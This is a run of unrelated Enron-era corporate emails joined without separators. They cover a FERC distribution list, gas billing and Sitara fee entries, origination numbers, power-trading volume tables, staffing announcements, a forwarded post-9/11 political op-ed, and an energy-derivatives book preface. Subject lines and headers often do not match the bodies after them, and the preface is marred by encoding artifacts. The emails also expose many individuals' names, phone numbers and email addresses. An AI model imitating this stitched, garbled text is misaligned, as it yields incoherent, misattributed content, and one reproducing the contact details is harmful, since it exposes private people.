Choi/SF/ECT@ECT, Ed Clark/PDX/ECT@ECT, Stanley Cocke/PDX/ECT@ECT, Sean 
Crandall/PDX/ECT@ECT@ECT, Terry W Donovan/HOU/ECT@ECT, Michael 
Etringer/HOU/ECT@ECT, Mark Fischer/PDX/ECT@ECT, John M Forney/HOU/ECT@ECT, 
Chris H Foster/HOU/ECT@ECT, Dave Fuller/PDX/ECT@ECT, Jim Gilbert/PDX/ECT@ECT, 
Don Hammond/PDX/ECT@ECT, Tim Heizenrader/PDX/ECT@ECT, Karen E 
Jones/HOU/ECT@ECT, Holli Krebs/HOU/ECT@ECT, Alan Larsen/PDX/ECT@ECT, Elliot 
Mainzer/PDX/ECT@ECT, Chris Mallory/PDX/ECT@ECT, John Malowney/HOU/ECT@ECT, 
Wayne Mays/PDX/ECT@ECT, Marcie Milner, Matt Motley/PDX/ECT@ECT, Tracy 
Ngo/PDX/ECT@ECT, Murray P O'Neil/HOU/ECT@ECT, Jeffrey Oh/PDX/ECT@ECT, Todd 
Perry/PDX/ECT@ECT, Dale Rasmussen/HOU/ECT@ECT, Lester Rawson/PDX/ECT@ECT, 
Jeff Richter/HOU/ECT@ECT, Stewart Rosman/HOU/ECT@ECT, Diana 
Scholtes/HOU/ECT@ECT, Jeff Shields/PDX/ECT@ECT, Jeff G Slaughter/PDX/ECT@ECT, 
Chris Stokley/HOU/ECT@ECT, Mike Swerzbin/HOU/ECT@ECT, Jake Thomas, Stephen 
Thome/HOU/ECT@ECT, Frank W Vickers/HOU/ECT@ECT, Kim Ward/HOU/ECT@ECT, Laura 
Wente/HOU/ECT@ECT, Greg Wolfe@ECT, Christian Yoder/HOU/ECT@ECT
		 cc: 
		 Subject: Summary of FERC's 12- 15 order on California Markets

I'm going through the Jan transport invoices.  I see I need to bill CES for 
some South Georgia activity.  How did we pay South Georgia, I don't see a 
matrix in Unify.

	Terry K. - Oncall

Date:		8/19/2001
Time:		7:00 AM - 8:00 AM (Central Standard Time)

Please open the attached file to read the complete text of the following
items:

08:04AM EST  9-NOV-00 UBS WARBURG (US) (YOUNG, DON) HWP IBM CPQ G
PCS: COMMERCIAL IMPROVING - RETAIL FADING

06:15AM EST  9-NOV-00 UBS WARBURG (US) (YOUNG, DON) IBM AAPL CTXS
IBM: PROFITABILITY--YES, MARKET SHARE--NO

11:12PM EST  8-NOV-00 BOFA MONTGOMERY (KING, KURTIS R) DELL CPQ HWP
DELL: DELL REPORTS FY 3Q TONIGHT; WE'LL BE LOOKING FOR REASONS TO STAY
BULLISH

04:29PM EST  8-NOV-00 CIBC WORLD MARKETS CORP. (STEVE PUCKOWITZ)
INDUSTRY: WINSTAR CONVERTIBLES

09:00PM EST  8-NOV-00 SALOMON SMITH BARNEY (JOHN B. JONES JR.) HWP
HWP: 4Q00 EPS EXPECTED SOLID

 <<11.09.00 Analyst Reports.doc>>

The analyst reports provided are reports prepared by independent analysts
who monitor and track Compaq's performance.  These reports are not prepared
by or at the direction of Compaq and as a result, Compaq is not endorsing or
verifying the information contained in these reports or endorsing any of
these analysts.   These reports are being provided solely for business
reasons and as a result, do not distribute these reports to other
individuals outside of Compaq.  If other individuals are interested in
receiving the reports provided herein, please contact Elizabeth Davis in
Compaq's Investor Relations Department at elizabeth.davis@compaq.com.

Elizabeth Davis
Compaq - Investor Relations
Research Analyst
281-518-4289

 - 11.09.00 Analyst Reports.doc

Nope

From: 	Calger, Christopher F.  
Sent:	Monday, October 15, 2001 6:24 PM
Subject:	RE: End of quarter origination numbers

$6.7MM is not enough?  

Sent:	Monday, October 15, 2001 3:47 PM
To:	Calger, Christopher F.
Subject:	FW: End of quarter origination numbers

You need to give yourself some!

Sent:	Friday, October 12, 2001 5:13 PM
To:	Calger, Christopher F.; Milnthorp, Rob; Tycholiz, Barry; Lagrasta, Fred; Curry, Mike; Jacoby, Ben; Luce, Laura; Vickers, Frank W.; Llodra, John; Kroll, Heather; Redmond, Brian; Forster, David; Williams, Jaime; Miller, Don (Asset Mktg); Josey, Scott; Mrha, Jean; Baughman, Edward D.
Cc:	Killen, Faith
Subject:	End of quarter origination numbers

Q3 now over, you will each be receiving in the internal mail a copy of the origination numbers associated with each of your groups.  Please could you ensure the numbers are both;

(i) Correct, and 
(ii) Correctly allocated

Should employees have left the group or company please do not allocate the amount to another originator as this will distort the numbers, just leave the name of the employee and number in place although they have left.   These numbers will be used as a (obviously only one component) component of performance review.  As you know we also monitor the soft targets so please ensure these are correct too.   If you want to check your progress on soft targets - these are available from Faith.

Please send all alterations to Faith Killen or call her on 30352.

Thanks

Louise

Done.

Katherine Herrera@ENRON
09/05/2000 10:14 AM
cc: Kristen J Hanson/HOU/ECT@ECT 
Subject: Re: Duke Exchange Deal Feb. 2000 Prod.  

Daren,

I believe the best way to enter the fee into Sitara would be as a Demand fee 
in your example #1. 
If we do the fee this way, we will not  double up the volumes.

I have attached my spreadsheet for support:
THE MOST CURRENT WORKSHEET IS TAB #2 MARKED FINAL

Column G is the Over-Delivery quantity total is 17,278 mmbtus
Column S is the Daily dollar amount for the over-delivery quantity due HPLC  
$1,008.87 
Column T is the Daily dollar amount for the over-delivery quantity due the 
customer $519.73.

Thanks-
Katherine
5-8643

Daren J Farmer@ECT
08/31/2000 05:49 PM
To: Katherine Herrera/Corp/Enron@ENRON
cc:  

Katherine, 

There are 2 ways that I can enter this fee into Sitara:
1) I can put the dollar amount in on day 1 as a demand or facility fee.

2) I need you to give me volume(s) and a price to input into the deal.  I 
can't just input a dollar amount in Sitara.

Let me know how you want to handle it.

D

08/31/2000 05:28 PM
Subject: Duke Exchange Deal Feb. 2000 Prod.

CASHOUT
Please add the following fees for Feb. 2000:

FEE TYPE:
Natural Gas 
Physical Forward
Penalty for Over/ Under take

Sales Ticket # 157278
$1,008.87 Dollars Due HPLC

Purchase Ticket # 157288
$519.73 Dollars Due Duke

Thanks- Katherine

Is everyone getting this report daily?  Please review the file and let Anne know if you would like to modify the query.

Mike

From: 	Akers, Michelle  
Sent:	Friday, October 26, 2001 6:05 PM
To:	Allen, Phillip K.; Bike, Anne; Ermis, Frank; Gay, Randall L.; Grigsby, Mike; Holst, Keith; Kuykendall, Tori; Lenhart, Matthew; Reitmeyer, Jay; South, Steven P.; Tholt, Jane M.
Cc:	Akers, Michelle
Subject:	Broker Report for 10/26/2001

Start Date: 1/24/02; HourAhead hour: 14;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002012414.txt

Jeff,

Lets make dinner plans to discuss this.....Just kidding.  While Scott was here, we arranged for him to be included in the Oct 29th Trading Track interviews.  This seems to be the best thing for him given that he really wants to become a trader.  Once in the program, he'll have 4 rotations (6 months each), some of these would likely be on the west desk.

Mike and I have talked and both agree that it makes good sense for Scott to join west gas given his experience in Portland.  However, the only hitch is that Mike cannot unilaterally decide to bring Scott to the desk.  He will need to negotiate this with the other desk heads and the program director.  This should not be an issue.

Keith 

From: 	Richter, Jeff  
Sent:	Tuesday, October 16, 2001 8:02 AM
To:	Holst, Keith
Subject:	Scott Freeman

Keith,

Just wanted to follow up with your group regarding the possibility of Scott Freeman working in your group starting in January.  Either give me a call or send me an email.

Thanks for talking with him last week.

Richter

Jeff Richter                            503.464.3917 (w-pdx)
Enron North America                            503.701.6488 (c)
West Power Services                          503.464.3740 (fax)
121 SW Salmon Street 3WTC0306       jeff.richter@enron.com
Portland, Oregon  97204

Here is the updated version.

From: 	Bronstein, Mara  
Sent:	Monday, October 08, 2001 8:09 AM
To:	Ward, Kim S (Houston); Tycholiz, Barry; Whitt, Mark; Fuller, Dave; Lucci, Paul T.; Harrison, Tyrell
Subject:	El Paso Capacity

Could everyone please update this El Paso Capacity marketing sheet and send the updates back to me so I can have it ready for the meeting today.
Thanks,
Mara << File: El paso pipeline marketing.xls >> 

TTotten@nyiso.com writes to the NYISO_TECH_EXCHANGE Discussion List:

The NYISO is reserving hour beginning 13 in the July 19, 2001 Real-Time
market as well as the following hours per ECA20010608B to verify prices:

HQ:  0, 2, 4, 7-8, 23
NE:  0, 2, 4, 7-8, 23
OH:  0, 2, 4, 7-8, 23
PJM: 0, 2, 4, 7-8, 23

Prices in the July 20, 2001 Day-Ahead Market are correct.

This e-mail information is a copy of the official posting, which can be
found at the following address on our website:
http://mis.nyiso.com/public/htm/OperMessages/CurrentOperMessages.htm#mm

excelsior (ik-SEL-see-uhr) noun

   Slender, curved wood shavings used especially for packing.

[Originally a trade name.]

   "In a glint of needle light, of grass seeds, dew flecks, a friend is
   throwing her voice
   While far inside a grainy heaven a butcher's apron ripples its dried
   blood in the wind.
   The bark strippings, excelsior, the panicles of the garden. In the midst
   of summer a friend cuts greens and places them in a bowl as if they were
   fronds.
   A friend is a vinegar - and now, pearl-shaped, in clusters, faces among
   her face,
   A globes rise on the lawn, each above a root of recriminations."
   Garden solstice. (poem), The Antioch Review, 1 Jun 1996.

This week's theme: brand names that have entered the dictionary.

.............................................................................
Adults are obsolete children. -Dr. Seuss, humorist, illustrator, and author
(1904-1991)

We're taking a vote to determine if we should skip AWAD mailings on weekends.
Email FIVE@wordsmith.org to vote that AWAD should take a break on weekends.
Email SEVEN@wordsmith.org if you would like AWAD to continue with daily
mailings. One vote per person, please. Results will be announced in next week.

Pronunciation:
http://wordsmith.org/words/excelsior.wav
http://wordsmith.org/words/excelsior.ram

 	 Total Trades for Day	  	 419	  	 
 	 
 	 EOL Deals	 From: 11/01/2001   To: 11/09/2001	  	 EnPower	 From: 11/01/2001   To: 11/09/2001	  	 
 	 Desk	 Total Deals	 Total MWH	  	 Desk	 Total Deals	 Total MWH	  	 
 	  	  	  	  	  	  	  	  	 
 	 EPMI Long Term California	 299	 4,568,656	  	 EPMI Long Term California	 32	 1,183,354	  	 
 	 EPMI Long Term Northwest	 148	 1,931,200	  	 EPMI Long Term Northwest	 68	 2,105,562	  	 
 	 EPMI Long Term Southwest	 164	 3,781,845	  	 EPMI Long Term Southwest	 188	 7,199,574	  	 
 	 EPMI Short Term California	 932	 1,149,712	  	 EPMI Short Term California	 339	 885,297	  	 
 	 EPMI Short Term Northwest	 521	 676,240	  	 EPMI Short Term Northwest	 220	 449,461	  	 
 	 EPMI Short Term Southwest	 696	 1,025,952	  	 EPMI Short Term Southwest	 354	 1,490,794	  	 
 	 Real Time	 651	 16,575	  	 Real Time	 211	 18,787	  	 
 	  	  	  	  	  	  	  	  	 
 	 Grand Total	 3,411	 13,150,180	  	 Grand Total	 1,412	 13,332,830	  	 
 	  	  	  	  	  	  	 
 	 EOL Deals	 From: 11/09/2001   To: 11/09/2001	  	 EnPower	 From: 11/09/2001   To: 11/09/2001	  	 
 	  	  	  	  	  	  	  	  	 
 	 EPMI Long Term California	 67	 1,068,800	  	 EPMI Long Term California	 5	 222,000	  	 
 	 EPMI Long Term Northwest	 11	 110,400	  	 EPMI Long Term Northwest	 7	 121,200	  	 
 	 EPMI Long Term Southwest	 13	 204,200	  	 EPMI Long Term Southwest	 4	 140,620	  	 
 	 EPMI Short Term California	 72	 41,536	  	 EPMI Short Term California	 21	 20,464	  	 
 	 EPMI Short Term Northwest	 24	 27,600	  	 EPMI Short Term Northwest	 20	 19,856	  	 
 	 EPMI Short Term Southwest	 52	 39,520	  	 EPMI Short Term Southwest	 19	 23,216	  	 
 	 Real Time	 64	 1,600	  	 Real Time	 40	 2,670	  	 
 	  	  	  	  	  	  	  	  	 
 	 Grand Total	 303	 1,493,656	  	 Grand Total	 116	 550,026	  	 
 	  	  	  	  	  	  	 
 	 EOL Deals	 From: 11/09/2001   To: 11/09/2001	  	 EOL Deals	 From: 11/09/2001   To: 11/09/2001	  	 
 	 Long Term West Management	 Total Deals	 Total MWH	  	 Short Term West BOM	 Total Deals	 Total MWH	  	 
 	 Daily	 0	 0	  	 Daily	 0	 0	  	 
 	 Month-to-Date EOL	 9	 2,200	  	 Month-to-Date EOL	 0	 0	  	 
 	 Enpower daily deals	 0	 0	  	 Enpower daily deals	 0	 0	  	 
 	 Month-to-Date Enpower	 2	 2,003	  	 Enpower daily deals	 0	 0	  	 
 	  	  	  	  	  	  	  	 
 	 EOL Deals	 From: 11/09/2001   To: 11/09/2001	  	  	  	  	  	 
 	 EPMI California Services	 Total Deals	 Total MWH	  	  	  	  	  	 
 	 Daily	 0	 0	  	  	  	  	  	 
 	 Month-to-Date	 0	 0	  	  	  	  	  	 
 	 Enpower daily deals	 0	 0	  	  	  	  	  	 
 	  	  	  	  	  	  	  	 
 	 ICE Volumes	 From: 11/09/2001   To: 11/09/2001	  	  	  	  	  	 
 	 Delivery Point	 Total MWH	 EPMI MWH	  Price 	 	  	  	  	 
 	  	  	  	  	  	  	  	  	 
 	 Cob (P, Next Day)	 1,600	 0	  $     31.38 	 	  	  	  	 
 	 Mid C (P, Next Day)	 15,200	 800	  $     29.43 	 	  	  	 
 	 Mid C (OP, Next Day)	 2,800	 0	  $     25.71 	 	  	  	 
 	 Mid C (P, Bal Month)	 22,400	 5,600	  $     27.81 	 	  	  	 
 	 Mid C (P, Dec-01)	 180,000	 0	  $     37.13 	 	  	  	 
 	 Mid C (P, Mar-02)	 10,400	 0	  $     33.00 	 	  	  	 
 	 Mid C (P, Apr-02)	 20,800	 0	  $     29.88 	 	  	  	 
 	 Mid C (P, Jun-02)	 10,000	 0	  $     29.00 	 	  	  	 
 	 Mid C (P, Jul-02)	 10,400	 0	  $     45.25 	 	  	  	 
 	 NP-15 (HE 1200)	 25	 0	  $     33.75 	 	  	  	 
 	 NP-15 (HE 1700)	 25	 0	  $     34.00 	 	  	  	 
 	 NP-15 (P, Next Day)	 10,400	 800	  $     33.74 	 	  	  	 
 	 NP-15 (OP, Next Day)	 9,200	 0	  $     25.43 	 	  	  	 
 	 NP-15 (P, Bal Month)	 5,600	 0	  $     31.05 	 	  	  	 
 	 NP-15 (P, Dec-01)	 40,000	 0	  $     36.71 	 	  	  	 
 	 NP-15 (P, Feb-02)	 9,600	 0	  $     36.00 	 	  	  	 
 	 NP-15 (P, Q3 02)	 30,800	 0	  $     52.25 	 	  	  	 
 	 Palo (P, Next Day)	 12,800	 800	  $     29.12 	 	  	  	 
 	 Palo (OP, Next Day)	 4,000	 0	  $     17.96 	 	  	  	 
 	 Palo (OP, Bal Month)	 4,600	 0	  $     18.25 	 	  	  	 
 	 Palo (P, Bal Month)	 22,400	 5,600	  $      27.11 	 	  	  	 
 	 Palo (P, Dec-01)	 20,000	 0	  $     31.00 	 	  	  	 
 	 Palo (P, Jan-02)	 10,400	 0	  $     32.50 	 	  	  	 
 	 Palo (P, Feb-02)	 28,800	 0	  $     32.33 	 	  	  	 
 	 Palo (P, Mar-02)	 10,400	 0	  $     32.25 	 	  	  	 
 	 Palo (P, May-02)	 10,400	 0	  $     36.00 	 	  	  	 
 	 Palo (P, Jul-02)	 10,400	 0	  $     57.00 	 	  	  	 
 	 Palo (P, Aug-02)	 21,600	 0	  $     64.00 	 	  	  	 
 	 Palo (P, Q3 02)	 30,800	 0	  $     57.50 	 	 
 	 Palo (P, Q4 02)	 30,800	 0	  $     38.75 	 	 
 	 Palo (P, Q2 03)	 30,800	 0	  $     41.50 	 	 
 	 Palo (P, Q3 03)	 30,800	 0	  $     59.00 	 	 
 	 SP-15 (HE 1200)	 50	 0	  $     34.63 	 	 
 	 SP-15 (HE 1300)	 50	 0	  $     34.38 	 	 
 	 SP-15 (HE 1700)	 75	 0	  $     34.25 	 	 
 	 SP-15 (HE 1900)	 25	 0	  $     35.00 	 	 
 	 SP-15 (HE 2000)	 25	 0	  $     33.50 	 	 
 	 SP-15 (OP, Next Day)	 4,400	 1,200	  $     23.00 	 	 
 	 SP-15 (P, Next Day)	 16,800	 0	  $     31.86 	 	 
 	 SP-15 (P, Bal Month)	 5,600	 0	  $     30.25 	 	 
 	 SP-15 (P, Dec-01)	 10,000	 0	  $     34.25 	 	 
 	 SP-15 (P, Q4 02)	 30,800	 0	  $     41.35 	 	 
 	  	  	  	  	  	 
 	 Grand Total	 726,075	 14,800	  $ 1,478.26 	 	 
 	  	  	  	 
Please add to my contact list

From: Ellie Francisco [mailto:Ellie.Francisco@Halliburton.com]
Sent: Monday, December 03, 2001 4:13 PM
Subject: How are you?

Shelley-

Just to let you know I am thinking if you.  Please let me know how you are
doing.  Take care.

Ellie

I am pleased to announce the following organizational changes within Enron Transportation Services, Operations Support Services.  

Fleet and Procurement Card Administration
Cheri Sublet has accepted the position of Sr. Fleet Specialist effective October 16th, 2001.  Cheri comes to ETS from Global Strategic Sourcing, Travel and Transportation, where she was responsible for Enron purchasing card coordination as well as fleet sourcing.  She has been a member of the National Association of Fleet Administrators (NADA) for 14 years.  Cheri brings 16 years of fleet and procurement experience to ETS and with her strategic sourcing knowledge will be a valuable asset to ETS. 

As earlier announced, Mary Ann Johnson will be assuming the role of Purchasing Card Coordinator for ETS.  Mary Ann will be responsible for the administration, monitoring and reporting of all purchasing card activity as related to the ET Purchasing Card Procedure, as well as recommending enhanced use of the card.

Cheri Sublet and Mary Ann Johnson will report to Bruce Martin, ETS Fleet Manager.  

SR. Business Analyst
Amanda Becker has accepted the position of Business Analyst effective November 1, 2001, reporting to me.  Amanda comes to ETS from Global Strategic Sourcing where she served as Sr. Business Analyst.  Amanda has eight years experience in inventory and logistics analysis, purchasing and project management.  She has a BBA, Operations Management, University of Houston and is APICS Certified in Production and Inventory Management. 

Please welcome Cheri Sublet and Amanda Becker to Enron Transportation Services.  

Shirley Jo Dickens-Wilson
Director
ETS - Procurement and Supply Management
Office: 713-646-7545
shirley.jo.dickens-wilson@enron.com

FYI.  Not for dissemination outside this distribution.  Documents delivered 
to Hertzberg to follow.

Best,
Jeff
----- Forwarded by Jeff Dasovich/NA/Enron on 07/02/2001 10:05 PM -----

	Phil Isenberg <Isenberg@HMOT.com>
	07/02/2001 03:26 PM
		 
		 To: 
		 cc: Ann.Cohn@sce.com, brbarkovich@earthlink.net, cohnap@sce.com, 
cra@calretailers.com, debinorton@aol.com, derek.naten@roche.com, 
dhunter@s-k-w.com, dominic.dimare@calchamber.com, drothrock@camfg.com, 
ek@a-klaw.com, fieldejr@sce.com, jdasovic@enron.com, 
john.redding@gene.GE.com, jstewart@cmta.net, kmccrea@sablaw.com, 
kt@a-klaw.com, lga@mother.com, liebmand@haynesboone.com, 
mdjoseph@adamsbroadwell.com, mflorio@turn.org, mkahl@ka-pow.com, 
Robert.Albergotti@asm.ca.gov, smutny@iepa.com, vjw@cleanpower.org, 
wbooth@booth-law.com, "'John.Fielder@sce.com'" <John.Fielder@sce.com>, 
mkahl@ka-pow.com
		 Subject: Final Report

Gang:

The final letter and document will be given to the Speaker shortly.  As you
may know, TURN ultimately decided not to participate.  Also, late last week
the Utility Workers had an elected change of leadership and there was not
enough time to bring the new officers up to speed by our deadline.

The Speaker plans on using our product to simultaneously encourage the PUC
not to close the door on direct access and, if necessary, convince the
Legislature to pass this year a meaningful direct access program (if the PUC
goes south on us).  Also, I believe he hopes that our work will help
convince the Legislature to move to restore SCE to financial stability - and
to do so rapidly.

This last month has been very interesting to me - "oddly satisfying" is how
I described it, even if most of you did object to the phrasing - and I
appreciate the opportunity of working with you.  For whatever reasons, there
is nothing like an intractable social and political problems to get me
interested.  Thanks very much for participating.

Phil

(See attached file: g051501.pdf)

_______________________________________________________

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if modified.

 - g051501.pdf

Join Enron Federal Credit Union and The Foundation for Financial Literacy, 
for our 4th in a series of 5 Financial Wellness Workshops:

      Financial Wellness Workshop
      Rating them by Risk Versus Reward: Investments:  
      Wednesday, September 27
      11:30 a.m. - 12:30 p.m.
      Doubletree - Allen Center  (LaSalle A Room)
      Cookies and soft drinks will be served.

Our last workshop of the year is:
Tuesday, October 24  Topic:  Living too Long, Dying too Soon, Disability or 
Impairment:  Estate Plans

You may reserve your seat for both of our workshops by sending your 
reservation to Jennifer.Wilson@enron.com.  We look forward to seeing you!

Hi Vince

I'm urgently trying to chase you up for PRC feedback on Kirstee and Matt. Our 
PRC meeting is at 3pm GMT (9am for you), so if you're able to do them as soon 
as you receive this I'd be very appreciative.

Steve

praise for Bush from Andrew Sullivan, prominent liberal.  interesting.  

Andrew Sullivan in the London Times 

No eloquence can match the impact of their evil. Americans' critical
weakness in the past two decades has been their reluctance to shed blood
for their goals. They believed they could construct a huge military and
never have it fight real wars and suffer real casualties. They thought they
could alter history and advance their interests from the air alone. With
the exception of the Gulf War, which they hesitated to finish, they have
shrunk from the fight. When the current enemy struck again and again
throughout the 1990s, Bill Clinton responded without real credibility,
struck back without real endurance, enraged the terrorists without truly
hurting them. We are now living with the consequences of his appeasement,
and of his refusal to challenge Americans beyond what the polls said they
already wanted to do. Whoever launched this war on Americans has now
accomplished the task Clinton didn't dare embark on. America has been
bloodied as it has never been bloodied before.

I would be a fool to predict what happens next. But it is clear that Bush
will not do a Clinton. This will not be a surgical strike. It will not be a
gesture. It may not even begin in earnest soon. But it will be deadly
serious. It is clear that there is no way that the United States can
achieve its goals without the cooperation of many other states - an
alliance as deep and as broad as that which won the Gulf War. It is also
clear that this cannot be done by airpower alone. As in 1941, the neglect
of the military under Bill Clinton and the parsimony of its financing even
under Bush must now not merely be ended but reversed. We may see the
biggest defense build-up since the early 1980s - and not just in weaponry
but in manpower. It is also quite clear that the U.S. military presence in
the Middle East must be ramped up exponentially, its intelligence
overhauled, its vigilance heightened exponentially. In some ways, Bush has
already assembled the ideal team for such a task: Powell for the diplomatic
dance, Rumsfeld for the deep reforms he will now have the opportunity to
enact, Cheney as his most trusted aide in what has become to all intents
and purposes a war cabinet.

The terrorists have done the rest. The middle part of the country - the
great red zone that voted for Bush - is clearly ready for war. The decadent
Left in its enclaves on the coasts is not dead - and may well mount what
amounts to a fifth column. But by striking at the heart of New York City,
the terrorists ensured that at least one deep segment of the country
ill-disposed toward a new president is now the most passionate in his
defense. Anyone who has ever tried to get one over on a New Yorker knows
what I mean. The demons who started this have no idea about the kind of
people they have taken on.

But what the terrorists are also counting on is that Americans will not
have the stomach for the long haul. They clearly know that the coming
retaliation will not be the end but the beginning. And when the terrorists
strike back again, they have let us know that the results could make the
assault on the World Trade Center look puny. They are banking that
Americans will then cave. They have seen a great country quarrel to the
edge of constitutional crisis over a razor-close presidential election.
They have seen it respond to real threats in the last few years with
squeamish restraint or surgical strikes. They have seen that, as Israel has
been pounded by the same murderous thugs, the United States has responded
with equanimity. They have seen a great nation at the height of its power
obsess for a whole summer over a missing intern and a randy Congressman.
They have good reason to believe that this country is soft, that it has no
appetite for the war that has now begun. They have gambled that in response
to unprecedented terror, the Americans will abandon Israel to the
barbarians who would annihilate every Jew on the planet, and trade away
their freedom for a respite from terror in their own land.

We cannot foresee the future. But we know the past. And that past tells us
that these people who destroyed the heart of New York City have made a
terrible mistake. This country is at its heart a peaceful one. It has done
more to help the world than any other actor in world history. It saved the
world from the two greatest evils of the last century in Nazism and Soviet
Communism. It responded to its victories in the last war by pouring aid
into Europe and Japan. In the Middle East, America alone has ensured that
the last hope of the Jewish people is not extinguished and has given more
aid to Egypt than to any other country. It risked its own people to save
the Middle East from the pseudo-Hitler in Baghdad. America need not have
done any of this. Its world hegemony has been less violent and less
imperial than any other comparable power in history. In the depths of its
soul, it wants its dream to itself, to be left alone, to prosper among
others, and to welcome them to the freedom America has helped secure.

But whenever Americans have been challenged, they have risen to the task.
In some awful way, these evil thugs may have done us a favor. America may
have woken up for ever. The rage that will follow from this grief and shock
may be deeper and greater than anyone now can imagine. Think of what the
United States ultimately did to the enemy that bombed Pearl Harbor. Now
recall that American power in the world is all but unchallenged by any
other state. Recall that America has never been wealthier, and is at the
end of one of the biggest booms in its history. And now consider the extent
of this wound - the greatest civilian casualties since the Civil War, an
assault not just on Americans but on the meaning of America itself. When
you take a step back, it is hard not to believe that we are now in the
quiet moment before the whirlwind. Americans will recover their dead, and
they will mourn them, and then they will get down to business. Their
sadness will be mingled with an anger that will make the hatred of these
evil fanatics seem mild.

I am reminded of a great American poem written by Herman Melville after the
death of Abraham Lincoln, the second founder of the country:

"There is sobbing of the strong, 
And a pall upon the land; 
But the People in their weeping 
Bare the iron hand; 
Beware the People weeping
When they bare the iron hand."

Don, couple of points:
 a) would take a page to describe the Bridgeline structure (ie) we have done 
this before;
 b) haven't we done more that 150,000 transactions?
 c) we are getting paid a fee for providing the back-office services?

Let me see what you come up with after discussing with Presto et al.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 07/18/2000 
11:44 AM ---------------------------

07/18/2000 10:58 AM
To: David W Delainey/HOU/ECT@ECT
cc:  
Subject: 

Dave:
Here is the most recent backoffice presentation.
Ben

Sally

P lease review and revise as needed the attached proposed agenda.  I will
give you a call on Friday and see if you have established a date.
I hope the orange bowl experience was great.

Tom

 - Sally Beck 2001 Operational Risk Meeting.doc

Julie,

The introduction looks fine. I have made some cosmetic changes
(typos and split infinitives that slipped by). You can safely ignore most o=
f=20
them.
English is not even my second language.

The corrections are in pink.

Vince

"Julie" <julie@lacima.co.uk> on 08/01/2000 07:43:10 AM
cc: =20
Subject: Preface for book

Vince,
?
Hope you are well.
?
We spoke a while ago about who should write the preface for the book, and =
=20
you kindly offered that you would provide this.? Is this still  possible?? =
We=20
realise that you are extremely busy, so Chris and Les went  ahead and wrote=
=20
something, which is below, and if you want to review, change or  re-write?t=
he=20
preface, that would be very appreciated.? Let me know  what your thoughts a=
re.
?
Thanks,
Julie
(we're getting close)
?
?=20

Preface

?

?

?

One of our main objectives in  writing Energy Derivatives: Pricing and Risk=
=20
Management has been to bring  together as many of the various approaches fo=
r=20
the pricing and risk management  energy derivatives as possible, to discuss=
=20
in-depth the models, and to show how  they relate to each other.? In this =
=20
way we hope to help the reader to analyse the different models, price a wid=
e =20
range of energy derivatives, or to build a risk management system which use=
s=20
a  consistent modelling framework.? We  believe that for practitioners this=
=20
last point is very important and we continue  to stress in our articles and=
=20
presentations the dangers of having flawed risk  management and giving=20
arbitrage opportunities to your competitors by using  ad-hoc and inconsiste=
nt=20
models for different instruments and markets (see also OTHERS WHO PROPOSE=
=20
CONSISTENT  MODELS?).? However, it is not  our wish to concentrate on one=
=20
particular model or models, at the exclusion of  the others because we=20
believe that the choice should rest with the user  (although it will probab=
ly=20
be clear from our discussions the model(s) we  prefer).? We therefore try a=
nd=20
give  as clear account as possible of the advantage and disadvantages of al=
l=20
the  models so that the reader can make an informed choice as to the models=
=20
which  best suit their needs.

?

In order to meet our objectives the  book is divided into 11 chapters.?  In=
=20
chapter 1 we give an overview of the fundamental principals needed to  mode=
l=20
and price energy derivatives which will underpin the remainder of the  book=
.?=20
In addition to introducing  the techniques that underlie the Black-Scholes=
=20
modelling framework we outline  the numerical techniques of trinomial trees=
=20
and Monte Carlo simulation for  derivative pricing, which are used througho=
ut=20
the book.

?

In Chapter 2 we discuss the  analysis of spot energy prices.? As  well as=
=20
analysing empirical price movements we propose a number of processes  that=
=20
can be used to model the prices.?  We look at the well-know process of=20
Geometric Brownian Motion as well as  mean reversion, stochastic volatility=
=20
and jump processes, discussing each and  showing how they can be simulated=
=20
and their parameters estimated.

?

Chapter 3, written by Vince  Kaminski, Grant Masson and Ronnie Chahal of=20
Enron Corp., discusses volatility  estimation in energy commodity markets.?=
 =20
This chapter builds on the previous one.? It examines in detail the methods=
, =20
merits and pitfalls of the volatility estimation process assuming different=
 =20
pricing models introduced in chapter 2.?  Examples from crude, gas, and=20
electricity markets are used to illustrate  the technical and interpretativ=
e=20
aspects of calculating volatility.

?

Chapter 4 examines forward curves  in the energy markets.? Although  such=
=20
curves are well understood and straight-forward in the most financial =20
markets, the difficulty of storage in many energy markets leads to less wel=
l =20
defined curves.? In this chapter we  describe forward price bounds for ener=
gy=20
prices and the building of forward  curves from market instruments.? We =20
outline the three main approaches which have been applied to building=20
forward  curves in energy markets; the arbitrage approach, the econometric=
=20
approach, and  deriving analytical values by modelling underlying stochasti=
c=20
factors.

?

Chapter 5 presents an overview of  structures found in the energy derivativ=
e=20
markets and discusses their uses.? Examples of products analysed in this =
=20
chapter include a variety of swaps, caps, floors and collars, as well as=20
energy  swaptions, compound options, Asian options, barrier options, lookba=
ck=20
options,  and ladder options.

?

Chapter 6 investigates single and  multi-factor models of the energy spot=
=20
price and the pricing of some standard  energy derivatives.? Closed form =
=20
solutions for forward prices, forward volatilities, and European option=20
prices  both on the spot and forwards are derived and presented for all the=
=20
models in  this chapter including a three factor, stochastic convenience=20
yield and interest  rate model.

?

Chapter 7 shows how the prices of  path dependent and American style option=
s=20
can be evaluated for the models in  Chapter 6.? Simulation schemes are =20
developed for the evaluation of European style options and applied to a=20
variety  of path dependent options.? In order  to price options which=20
incorporate early exercise opportunities, a trinomial  tree scheme is=20
developed.? This tree  is built to be consistent with the observed forward=
=20
curve and can be used to  price exotic as well as standard European and=20
American style options.

?

Chapter 8 describes a methodology  for valuing energy options based on=20
modelling the whole of the market observed  forward curve.? The approach=20
results  in a multi-factor model that is able to realistically capture the=
=20
evolution of a  wide range of energy forward curves.?  The user defined=20
volatility structures can be of an extremely general  form.? Closed-form=20
solutions are  developed for pricing standard European options, and efficie=
nt=20
Monte Carlo  schemes are presented for pricing exotic options.? The chapter=
=20
closes with a discussion of  the valuation of American style options.

?

Chapter 9 focuses on the risk  management of energy derivative positions.? =
=20
In this chapter we discuss the management of price risk for institutions =
=20
that trade options or other derivatives and who are then faced with the=20
problem  of managing the risk through time.?  We begin with delta hedging a=
=20
portfolio containing derivatives and look  at extensions to gamma hedging =
=01)=20
illustrating the techniques using both spot and  forward curve models.? The=
=20
general  model presented in Chapter 8 is ideally suited to multi-factor=20
hedging of a  portfolio of energy derivatives and this is also discussed.

?

Chapter 10 examines the key risk  management concept of Value at Risk (VaR)=
=20
applied to portfolios containing  energy derivative products.? After =20
